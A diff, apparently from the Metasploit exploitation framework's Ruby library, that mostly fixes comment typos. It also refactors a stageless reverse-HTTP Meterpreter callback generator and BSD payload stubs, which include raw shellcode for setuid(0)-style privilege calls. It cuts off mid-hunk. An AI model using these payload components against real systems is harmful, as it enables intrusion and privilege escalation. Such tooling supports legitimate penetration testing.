end
|
||||
end
|
||||
|
||||
# This function is usefull only on windows where pcaprub use the GUID
|
||||
# This function is useful only on windows where pcaprub use the GUID
|
||||
def get_interface_guid(dev)
|
||||
check_pcaprub_loaded
|
||||
if RUBY_PLATFORM == "i386-mingw32"
|
||||
@ -473,7 +473,7 @@ module Msf
|
||||
dev = get_interface_guid(dev)
|
||||
addrs = NetworkInterface.addresses(dev)
|
||||
raise RuntimeError, "Interface #{dev} does not exist" if !addrs
|
||||
raise RuntimeError, "Can not get mac address for interface #{dev}" if !addrs[NetworkInterface::AF_LINK][0]['addr']
|
||||
raise RuntimeError, "Cannot get mac address for interface #{dev}" if !addrs[NetworkInterface::AF_LINK][0]['addr']
|
||||
addrs[NetworkInterface::AF_LINK][0]['addr']
|
||||
end
|
||||
|
||||
@ -491,7 +491,7 @@ module Msf
|
||||
addrs = NetworkInterface.addresses(dev)
|
||||
raise RuntimeError, "Interface #{dev} does not exist" if !addrs
|
||||
raise RuntimeError, "Interface #{dev} does not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
|
||||
raise RuntimeError, "Can not get the IPv4 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['addr']
|
||||
raise RuntimeError, "Cannot get the IPv4 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['addr']
|
||||
addrs[NetworkInterface::AF_INET][num]['addr']
|
||||
end
|
||||
|
||||
@ -501,7 +501,7 @@ module Msf
|
||||
addrs = NetworkInterface.addresses(dev)
|
||||
raise RuntimeError, "Interface #{dev} does not exist" if !addrs
|
||||
raise RuntimeError, "Interface #{dev} does not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
|
||||
raise RuntimeError, "Can not get IPv4 netmask for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['netmask']
|
||||
raise RuntimeError, "Cannot get IPv4 netmask for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['netmask']
|
||||
addrs[NetworkInterface::AF_INET][num]['netmask']
|
||||
end
|
||||
|
||||
@ -511,7 +511,7 @@ module Msf
|
||||
addrs = NetworkInterface.addresses(dev)
|
||||
raise RuntimeError, "Interface #{dev} do not exists" if !addrs
|
||||
raise RuntimeError, "Interface #{dev} do not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
|
||||
raise RuntimeError, "Can not get IPv4 broadcast address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['broadcast']
|
||||
raise RuntimeError, "Cannot get IPv4 broadcast address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['broadcast']
|
||||
addrs[NetworkInterface::AF_INET][num]['broadcast']
|
||||
end
|
||||
|
||||
@ -532,7 +532,7 @@ module Msf
|
||||
addrs = NetworkInterface.addresses(dev)
|
||||
raise RuntimeError, "Interface #{dev} do not exists" if !addrs
|
||||
raise RuntimeError, "Interface #{dev} do not have an ipv6 address at position #{num}" if addrs[NetworkInterface::AF_INET6].length < num + 1
|
||||
raise RuntimeError, "Can not get ipv6 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET6][num]['addr']
|
||||
raise RuntimeError, "Cannot get ipv6 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET6][num]['addr']
|
||||
addrs[NetworkInterface::AF_INET6][num]['addr'].gsub(/%(.)*$/, '')
|
||||
end
|
||||
|
||||
@ -543,7 +543,7 @@ module Msf
|
||||
addrs = NetworkInterface.addresses(dev)
|
||||
raise RuntimeError, "Interface #{dev} do not exists" if !addrs
|
||||
raise RuntimeError, "Interface #{dev} do not have an ipv6 address at position #{num}" if addrs[NetworkInterface::AF_INET6].length < num + 1
|
||||
raise RuntimeError, "Can not get ipv6 netmask address for interface #{dev}" if !addrs[NetworkInterface::AF_INET6][num]['netmask']
|
||||
raise RuntimeError, "Cannot get ipv6 netmask address for interface #{dev}" if !addrs[NetworkInterface::AF_INET6][num]['netmask']
|
||||
addrs[NetworkInterface::AF_INET6][num]['netmask']
|
||||
end
|
||||
|
||||
|
@ -108,7 +108,7 @@ module Exploit::CmdStager
|
||||
# @option opts :decoder [Symbol] The decoder stub to use.
|
||||
# @param pl [String] String containing the payload to execute
|
||||
# @return [Array] The list of commands to execute
|
||||
# @raise [ArgumentError] raised if the cmd stub can not be generated
|
||||
# @raise [ArgumentError] raised if the cmd stub cannot be generated
|
||||
def generate_cmdstager(opts = {}, pl = nil)
|
||||
select_cmdstager(opts)
|
||||
|
||||
@ -138,12 +138,12 @@ module Exploit::CmdStager
|
||||
|
||||
# Selects the correct cmd stager and decoder stub to use
|
||||
#
|
||||
# @param opts [Hash] Hash containing the options to select te correct cmd
|
||||
# @param opts [Hash] Hash containing the options to select the correct cmd
|
||||
# stager and decoder.
|
||||
# @option opts :flavor [Symbol] The cmd stager to use.
|
||||
# @option opts :decoder [Symbol] The decoder stub to use.
|
||||
# @return [void]
|
||||
# @raise [ArgumentError] raised if a cmd stager can not be selected or it
|
||||
# @raise [ArgumentError] raised if a cmd stager cannot be selected or it
|
||||
# isn't compatible with the target platform.
|
||||
def select_cmdstager(opts = {})
|
||||
self.flavor = select_flavor(opts)
|
||||
@ -188,11 +188,11 @@ module Exploit::CmdStager
|
||||
# user through datastore options, (3) select the default decoder for the
|
||||
# current cmd stager flavor if available.
|
||||
#
|
||||
# @param opts [Hash] Hash containing the options to select te correct
|
||||
# @param opts [Hash] Hash containing the options to select the correct
|
||||
# decoder.
|
||||
# @option opts :decoder [String] The decoder stub to use.
|
||||
# @return [String] The decoder.
|
||||
# @return [nil] if a decoder can not be selected.
|
||||
# @return [nil] if a decoder cannot be selected.
|
||||
def select_decoder(opts = {})
|
||||
return opts[:decoder] if opts.include?(:decoder)
|
||||
return datastore['CMDSTAGER::DECODER'] unless datastore['CMDSTAGER::DECODER'].blank?
|
||||
@ -203,11 +203,11 @@ module Exploit::CmdStager
|
||||
# flavor provided in options, (2) use the flavor provided by the user
|
||||
# through datastore options, (3) guess the flavor using the target platform.
|
||||
#
|
||||
# @param opts [Hash] Hash containing the options to select te correct cmd
|
||||
# @param opts [Hash] Hash containing the options to select the correct cmd
|
||||
# stager
|
||||
# @option opts :flavor [Symbol] The cmd stager flavor to use.
|
||||
# @return [Symbol] The flavor to use.
|
||||
# @return [nil] if a flavor can not be selected.
|
||||
# @return [nil] if a flavor cannot be selected.
|
||||
def select_flavor(opts = {})
|
||||
return opts[:flavor].to_sym if opts.include?(:flavor)
|
||||
unless datastore['CMDSTAGER::FLAVOR'].blank? or datastore['CMDSTAGER::FLAVOR'] == 'auto'
|
||||
@ -220,7 +220,7 @@ module Exploit::CmdStager
|
||||
# target or platform.
|
||||
#
|
||||
# @return [Symbol] The cmd stager flavor to use.
|
||||
# @return [nil] if the cmd stager flavor can not be guessed.
|
||||
# @return [nil] if the cmd stager flavor cannot be guessed.
|
||||
def guess_flavor
|
||||
# First try to guess a compatible flavor based on the module & target information.
|
||||
unless target_flavor.nil?
|
||||
@ -252,7 +252,7 @@ module Exploit::CmdStager
|
||||
end
|
||||
|
||||
# Returns all the compatible stager flavors specified by the module and each
|
||||
# of it's targets.
|
||||
# of its targets.
|
||||
#
|
||||
# @return [Array] the list of all compatible cmd stager flavors.
|
||||
def module_flavors
|
||||
|
@ -54,7 +54,7 @@ module Exploit::FileDropper
|
||||
# We need to be platform-independent here. Since we can't be
|
||||
# certain that {#target} is accurate because exploits with
|
||||
# automatic targets frequently change it, we just go ahead and
|
||||
# run both a windows and a unixy command in the same line. One
|
||||
# run both a windows and a unix command in the same line. One
|
||||
# of them will definitely fail and the other will probably
|
||||
# succeed. Doing it this way saves us an extra round-trip.
|
||||
# Trick shared by @mihi42
|
||||
|
@ -238,7 +238,7 @@ module Exploit::FormatString
|
||||
# no need to advance :)
|
||||
return "" if prec == 0
|
||||
|
||||
# asumming %x max normal length is 8...
|
||||
# assuming %x max normal length is 8...
|
||||
if prec >= 8
|
||||
return "%0" + prec.to_s + "x"
|
||||
end
|
||||
|
@ -211,7 +211,7 @@ module Exploit::Remote::Ftp
|
||||
|
||||
# dispatch to the proper method
|
||||
if (type == "get")
|
||||
# failed listings jsut disconnect..
|
||||
# failed listings just disconnect..
|
||||
begin
|
||||
data = self.datasocket.get_once(-1, ftp_timeout)
|
||||
rescue ::EOFError
|
||||
|
@ -24,7 +24,7 @@ module Exploit::Remote::Gdb
|
||||
# thrown when a checksum is invalid
|
||||
class BadChecksumError < RuntimeError; end
|
||||
|
||||
# Default list of supported GDB features to send the to the target
|
||||
# Default list of supported GDB features to send them to the target
|
||||
GDB_FEATURES = 'qSupported:multiprocess+;qRelocInsn+;qvCont+;'
|
||||
|
||||
# Maps index of register in GDB that holds $PC to architecture
|
||||
|
@ -229,7 +229,7 @@ module Exploit::Remote::HttpServer
|
||||
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||
|
||||
if (opts['ServerHost'] == '0.0.0.0')
|
||||
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||
print_status("Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||
end
|
||||
|
||||
add_resource(uopts)
|
||||
@ -453,7 +453,7 @@ module Exploit::Remote::HttpServer
|
||||
# Returns the last-used resource path
|
||||
#
|
||||
def get_resource
|
||||
# We don't want modules modifying their service_path inadvertantly, so
|
||||
# We don't want modules modifying their service_path inadvertently, so
|
||||
# give them a dup. Can be nil during module setup.
|
||||
@service_path ? @service_path.dup : nil
|
||||
end
|
||||
|
@ -1,7 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
###
|
||||
#
|
||||
# This mixn provides methods for interacting with a JDK installation to perform
|
||||
# This mixin provides methods for interacting with a JDK installation to perform
|
||||
# functions such as dynamic compilation and jar signing.
|
||||
#
|
||||
# Dependencies:
|
||||
@ -108,7 +108,7 @@ module Exploit::Java
|
||||
if classnames.class == [].class && codez.class == [].class
|
||||
# default compile class
|
||||
begin
|
||||
# Sames as java_compiler_klass.CompileFromMemory( String[] classnames,
|
||||
# Same as java_compiler_klass.CompileFromMemory( String[] classnames,
|
||||
# String[] codez, String[] compilerOptions)
|
||||
success = java_compiler_klass._invoke('CompileFromMemory',
|
||||
# Signature explained: [ means array, Lpath.to.object; means object
|
||||
|
@ -134,7 +134,7 @@ module Exploit::Remote::MSSQL_SQLI
|
||||
end
|
||||
|
||||
#
|
||||
# Issue a SQL query using the the SQL injection point
|
||||
# Issue a SQL query using the SQL injection point
|
||||
#
|
||||
def mssql_query(sqla, doprint=false)
|
||||
|
||||
|
@ -92,7 +92,7 @@ module Exploit::Remote::NDMP
|
||||
self.recv_buff << ( sock.get_once( 4 - self.recv_buff.length, 5) || '' )
|
||||
end
|
||||
|
||||
# If we did not recieve a full length value, return early
|
||||
# If we did not receive a full length value, return early
|
||||
if (self.recv_buff.length < 4)
|
||||
return false
|
||||
end
|
||||
|
@ -10,7 +10,7 @@ module Msf
|
||||
###
|
||||
#
|
||||
# This mixins will only provide the options name and description when a protocol want to use ntlm features from lib/rex/proto/ntlm .
|
||||
# Unfortunatly other mixin's still have to make direct call from lib/rex/proto/ntlm
|
||||
# Unfortunately other mixin's still have to make direct call from lib/rex/proto/ntlm
|
||||
# cause some protocol like SMB are implemented in lib/rex/proto/ while others like mssql are implemented in lib/msf/core/exploit
|
||||
#
|
||||
###
|
||||
|
@ -100,7 +100,7 @@ module Exploit::ORACLE
|
||||
# The Handling is a little different for certain types of query
|
||||
# Mainly Select needs a fetch statement to get the data
|
||||
# Also return types are a little different (some return rows changed so we can used that)
|
||||
# The case statement could probaby be collapsed a bit but leaving it as is for the moment
|
||||
# The case statement could probably be collapsed a bit but leaving it as is for the moment
|
||||
# in case it's useful later...
|
||||
|
||||
# Select Queries
|
||||
|
@ -218,7 +218,7 @@ module Exploit::PDF
|
||||
end
|
||||
|
||||
##
|
||||
#Controller funtion, should be entrypoint for pdf exploits
|
||||
#Controller function, should be entrypoint for pdf exploits
|
||||
##
|
||||
def create_pdf(js)
|
||||
strFilter = ""
|
||||
|
@ -1,7 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
###
|
||||
#
|
||||
# This module provides methods for parseing and interacting
|
||||
# This module provides methods for parsing and interacting
|
||||
# with the PDF format.
|
||||
#
|
||||
###
|
||||
|
@ -621,7 +621,7 @@ module Msf
|
||||
private
|
||||
|
||||
|
||||
# Sends a 404 respons. If a custom 404 is configured, then it will redirect to that instead.
|
||||
# Sends a 404 response. If a custom 404 is configured, then it will redirect to that instead.
|
||||
def send_not_found(cli)
|
||||
custom_404_url = get_custom_404_url
|
||||
if custom_404_url.blank?
|
||||
|
@ -240,7 +240,7 @@ module Msf
|
||||
datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
|
||||
end
|
||||
|
||||
# New connection handler, executed when there is a new conneciton.
|
||||
# New connection handler, executed when there is a new connection.
|
||||
#
|
||||
# @param c [Socket] The client establishing the connection.
|
||||
# @return [Hash] The hash with the client data initialized.
|
||||
|
@ -64,7 +64,7 @@ module Exploit::Remote::TincdExploitClient
|
||||
|
||||
#
|
||||
# The main method that will be called that will call other methods to send first message
|
||||
# and continously read from socket and ensures TCP disconnect at the end
|
||||
# and continuously read from socket and ensures TCP disconnect at the end
|
||||
#
|
||||
def send_recv(packet_payload)
|
||||
@packet_payload = packet_payload
|
||||
@ -95,7 +95,7 @@ module Exploit::Remote::TincdExploitClient
|
||||
|
||||
#
|
||||
# Reading of certificate files and parsing them, generation of random keys
|
||||
# and intialization of OFB mode blowfish cipher
|
||||
# and initialization of OFB mode blowfish cipher
|
||||
#
|
||||
def init_ciphers(server_file, client_file)
|
||||
server_public_key_cipher = OpenSSL::PKey::RSA.new(File.read(server_file))
|
||||
@ -315,7 +315,7 @@ module Exploit::Remote::TincdExploitClient
|
||||
end
|
||||
|
||||
#
|
||||
# Ack state to signalise challenge/response was successfull
|
||||
# Ack state to signalize challenge/response was successful
|
||||
#
|
||||
def ack
|
||||
vprint_status('Sending ack (signalise server that we accept challenge' +
|
||||
@ -325,7 +325,7 @@ module Exploit::Remote::TincdExploitClient
|
||||
end
|
||||
|
||||
#
|
||||
# Sending a packet inside the VPN connection after successfull protocol setup
|
||||
# Sending a packet inside the VPN connection after successful protocol setup
|
||||
#
|
||||
def send_packet
|
||||
vprint_status('Protocol finished setup. Going to send packet.')
|
||||
|
@ -172,7 +172,7 @@ class Framework
|
||||
attr_reader :datastore
|
||||
#
|
||||
# The framework instance's aux manager. The aux manager is responsible
|
||||
# for collecting and catalogging all aux information that comes in from
|
||||
# for collecting and cataloging all aux information that comes in from
|
||||
# aux modules.
|
||||
#
|
||||
attr_reader :auxmgr
|
||||
|
@ -6,7 +6,7 @@ module Handler
|
||||
|
||||
###
|
||||
#
|
||||
# This handler expects a interactive TTY on the supplied socket/io object
|
||||
# This handler expects an interactive TTY on the supplied socket/io object
|
||||
#
|
||||
###
|
||||
module FindTty
|
||||
|
@ -91,7 +91,7 @@ module ReverseHttp
|
||||
def payload_uri(req)
|
||||
if req and req.headers and req.headers['Host'] and not datastore['OverrideRequestHost']
|
||||
callback_host = req.headers['Host']
|
||||
elsif ipv6?
|
||||
elsif Rex::Socket.is_ipv6?(datastore['LHOST'])
|
||||
callback_host = "[#{datastore['LHOST']}]:#{datastore['LPORT']}"
|
||||
else
|
||||
callback_host = "#{datastore['LHOST']}:#{datastore['LPORT']}"
|
||||
|
@ -26,35 +26,32 @@ module Handler::ReverseHttp::Stageless
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate_stageless(&block)
|
||||
url = "https://#{datastore['LHOST']}:#{datastore['LPORT']}#{generate_uri_uuid_mode(:connect)}/"
|
||||
|
||||
unless block_given?
|
||||
raise ArgumentError, "Stageless generation requires a block argument"
|
||||
def generate_stageless(opts={})
|
||||
unless opts[:generator]
|
||||
raise ArgumentError, "Stageless generation requires a generator argument"
|
||||
end
|
||||
|
||||
if opts[:ssl].nil?
|
||||
raise ArgumentError, "Stageless generation requires an ssl argument"
|
||||
end
|
||||
|
||||
host = datastore['LHOST']
|
||||
host = "[#{host}]" if Rex::Socket.is_ipv6?(host)
|
||||
url = "http#{opts[:ssl] ? "s" : ""}://#{host}:#{datastore['LPORT']}"
|
||||
url << "#{generate_uri_uuid_mode(:connect)}/"
|
||||
|
||||
# invoke the given function to generate the architecture specific payload
|
||||
block.call(url) do |dll|
|
||||
opts[:generator].call(url) do |dll|
|
||||
|
||||
# TODO: figure out this bit
|
||||
# patch the target ID into the URI if specified
|
||||
#if opts[:target_id]
|
||||
# i = dll.index("/123456789 HTTP/1.0\r\n\r\n\x00")
|
||||
# if i
|
||||
# t = opts[:target_id].to_s
|
||||
# raise "Target ID must be less than 5 bytes" if t.length > 4
|
||||
# u = "/B#{t} HTTP/1.0\r\n\r\n\x00"
|
||||
# print_status("Patching Target ID #{t} into DLL")
|
||||
# dll[i, u.length] = u
|
||||
# end
|
||||
#end
|
||||
|
||||
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||
datastore['HandlerSSLCert'])
|
||||
verify_cert_hash = nil
|
||||
if opts[:ssl]
|
||||
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||
datastore['HandlerSSLCert'])
|
||||
end
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll,
|
||||
:url => url,
|
||||
:ssl => true,
|
||||
:ssl => opts[:ssl],
|
||||
:ssl_cert_hash => verify_cert_hash,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
|
@ -7,7 +7,7 @@ module Msf
|
||||
#
|
||||
# The module base class is responsible for providing the common interface
|
||||
# that is used to interact with modules at the most basic levels, such as
|
||||
# by inspecting a given module's attributes (name, dsecription, version,
|
||||
# by inspecting a given module's attributes (name, description, version,
|
||||
# authors, etc) and by managing the module's data store.
|
||||
#
|
||||
###
|
||||
|
@ -12,7 +12,7 @@ module Msf::Module::FullName
|
||||
|
||||
|
||||
# @attribute refname
|
||||
# The module's name that is assigned it it by the framework
|
||||
# The module's name that is assigned to it by the framework
|
||||
# or derived from the path that the module is loaded from.
|
||||
attr_accessor :refname
|
||||
|
||||
@ -64,4 +64,4 @@ module Msf::Module::FullName
|
||||
def shortname
|
||||
self.class.shortname
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -10,7 +10,7 @@ require 'abbrev'
|
||||
class Msf::Module::Platform
|
||||
|
||||
Rank = 0
|
||||
# actually, having a argument of '' is what to do for wanting 'all'
|
||||
# actually, having an argument of '' is what to do for wanting 'all'
|
||||
Short = "all"
|
||||
|
||||
class << self
|
||||
@ -18,7 +18,7 @@ class Msf::Module::Platform
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the "real" name of the module instance, accouting for potentially
|
||||
# Returns the "real" name of the module instance, accounting for potentially
|
||||
# aliased class names.
|
||||
#
|
||||
def self.realname
|
||||
|
@ -2,7 +2,7 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
#
|
||||
# This is a helper to a easy way to specify support platforms. It will take a
|
||||
# This is a helper to an easy way to specify support platforms. It will take a
|
||||
# list of strings or Msf::Module::Platform objects and build them into a list
|
||||
# of Msf::Module::Platform objects. It also supports ranges based on relative
|
||||
# ranks...
|
||||
|
@ -140,7 +140,7 @@ module Msf
|
||||
# providers it wishes to monitor. This can be used to allow modules
|
||||
# to automatically execute or perform other tasks when certain
|
||||
# events occur. For instance, when a new host is detected, other
|
||||
# aux modules may wish to run such that they can collect more
|
||||
# auxiliary modules may wish to run such that they can collect more
|
||||
# information about the host that was detected.
|
||||
#
|
||||
# @param klass [Class<Msf::Module>] The module class
|
||||
|
@ -578,7 +578,7 @@ class Msf::Modules::Loader::Base
|
||||
raise ::NotImplementedError
|
||||
end
|
||||
|
||||
# Restores the namespace module to it's original name under it's original parent Module if there was a previous
|
||||
# Restores the namespace module to its original name under its original parent Module if there was a previous
|
||||
# namespace module.
|
||||
#
|
||||
# @param [Module] parent_module The .parent of namespace_module before it was removed from the constant tree.
|
||||
|
@ -698,7 +698,7 @@ class OptionContainer < Hash
|
||||
end
|
||||
|
||||
#
|
||||
# Make sures that each of the options has a value of a compatible
|
||||
# Make sure that each of the options has a value of a compatible
|
||||
# format and that all the required options are set.
|
||||
#
|
||||
def validate(datastore)
|
||||
|
@ -264,7 +264,7 @@ class Payload < Msf::Module
|
||||
# payload's convention.
|
||||
#
|
||||
def compatible_convention?(conv)
|
||||
# If we ourself don't have a convention or our convention is equal to
|
||||
# If we don't have a convention or our convention is equal to
|
||||
# the one supplied, then we know we are compatible.
|
||||
if ((self.convention == nil) or
|
||||
(self.convention == conv))
|
||||
@ -324,7 +324,7 @@ class Payload < Msf::Module
|
||||
# RHOST is substituted with the RHOST value from the datastore which will
|
||||
# have been populated by the framework.
|
||||
#
|
||||
# Supprted packing types:
|
||||
# Supported packing types:
|
||||
#
|
||||
# - ADDR (foo.com, 1.2.3.4)
|
||||
# - ADDR6 (foo.com, fe80::1234:5678:8910:1234)
|
||||
|
@ -23,49 +23,49 @@ module Msf::Payload::Bsd
|
||||
[
|
||||
false,
|
||||
"Prepend a stub that executes the setresuid(0, 0, 0) system call",
|
||||
"false"
|
||||
false
|
||||
]
|
||||
),
|
||||
Msf::OptBool.new('PrependSetreuid',
|
||||
[
|
||||
false,
|
||||
"Prepend a stub that executes the setreuid(0, 0) system call",
|
||||
"false"
|
||||
false
|
||||
]
|
||||
),
|
||||
Msf::OptBool.new('PrependSetuid',
|
||||
[
|
||||
false,
|
||||
"Prepend a stub that executes the setuid(0) system call",
|
||||
"false"
|
||||
false
|
||||
]
|
||||
),
|
||||
Msf::OptBool.new('PrependSetresgid',
|
||||
[
|
||||
false,
|
||||
"Prepend a stub that executes the setresgid(0, 0, 0) system call",
|
||||
"false"
|
||||
false
|
||||
]
|
||||
),
|
||||
Msf::OptBool.new('PrependSetregid',
|
||||
[
|
||||
false,
|
||||
"Prepend a stub that executes the setregid(0, 0) system call",
|
||||
"false"
|
||||
false
|
||||
]
|
||||
),
|
||||
Msf::OptBool.new('PrependSetgid',
|
||||
[
|
||||
false,
|
||||
"Prepend a stub that executes the setgid(0) system call",
|
||||
"false"
|
||||
false
|
||||
]
|
||||
),
|
||||
Msf::OptBool.new('AppendExit',
|
||||
[
|
||||
false,
|
||||
"Append a stub that executes the exit(0) system call",
|
||||
"false"
|
||||
false
|
||||
]
|
||||
),
|
||||
], Msf::Payload::Bsd)
|
||||
@ -74,95 +74,157 @@ module Msf::Payload::Bsd
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Overload the generate() call to prefix our stubs
|
||||
#
|
||||
def generate(*args)
|
||||
# Call the real generator to get the payload
|
||||
buf = super(*args)
|
||||
def apply_prepends(buf)
|
||||
test_arch = [ *(self.arch) ]
|
||||
pre = ''
|
||||
app = ''
|
||||
|
||||
test_arch = [ *(self.arch) ]
|
||||
|
||||
# Handle all x86 code here
|
||||
if (test_arch.include?(ARCH_X86))
|
||||
|
||||
# Prepend
|
||||
|
||||
if (datastore['PrependSetresuid'])
|
||||
# setresuid(0, 0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x66\xb8\x37\x01" +# movw $0x0137,%ax #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetreuid'])
|
||||
# setreuid(0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x7e" +# movb $0x7e,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetuid'])
|
||||
# setuid(0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x17" +# movb $0x17,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetresgid'])
|
||||
# setresgid(0, 0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x66\xb8\x38\x01" +# movw $0x0138,%ax #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetregid'])
|
||||
# setregid(0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x7f" +# movb $0x7f,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetgid'])
|
||||
# setgid(0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\xb5" +# movb $0xb5,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
# Append
|
||||
|
||||
if (datastore['AppendExit'])
|
||||
# exit(0)
|
||||
app << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x01" +# movb $0x01,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
handle_x86_bsd_opts(pre, app)
|
||||
elsif (test_arch.include?(ARCH_X86_64))
|
||||
handle_x64_bsd_opts(pre, app)
|
||||
end
|
||||
|
||||
return (pre + buf + app)
|
||||
pre + buf + app
|
||||
end
|
||||
|
||||
def handle_x86_bsd_opts(pre, app)
|
||||
if (datastore['PrependSetresuid'])
|
||||
# setresuid(0, 0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x66\xb8\x37\x01" +# movw $0x0137,%ax #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetreuid'])
|
||||
# setreuid(0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x7e" +# movb $0x7e,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetuid'])
|
||||
# setuid(0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x17" +# movb $0x17,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetresgid'])
|
||||
# setresgid(0, 0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x66\xb8\x38\x01" +# movw $0x0138,%ax #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetregid'])
|
||||
# setregid(0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x7f" +# movb $0x7f,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetgid'])
|
||||
# setgid(0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\xb5" +# movb $0xb5,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['AppendExit'])
|
||||
# exit(0)
|
||||
app << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x01" +# movb $0x01,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
end
|
||||
|
||||
def handle_x64_bsd_opts(pre, app)
|
||||
if (datastore['PrependSetresuid'])
|
||||
# setresuid(0, 0, 0)
|
||||
pre << "\x48\x31\xc0" +# xor rax, rax
|
||||
"\x48\x83\xc8\x4d" +# or rax, 77 (setgid=311>>2=77)
|
||||
"\x48\xc1\xe0\x02" +# shl rax, 2
|
||||
"\x48\x83\xf0\x03" +# xor rax, 3 (311&3=3)
|
||||
"\x48\x31\xff" +# xor rdi, rdi 0
|
||||
"\x48\x31\xf6" +# xor rsi, rsi 0
|
||||
"\x48\x31\xd2" +# xor rdx, rdx 0
|
||||
"\x0f\x05" # syscall
|
||||
end
|
||||
|
||||
if (datastore['PrependSetreuid'])
|
||||
# setreuid(0, 0)
|
||||
pre << "\x48\x31\xc0" +# xor rax, rax
|
||||
"\x48\x83\xc8\x7e" +# or rax, 126 (setreuid=126)
|
||||
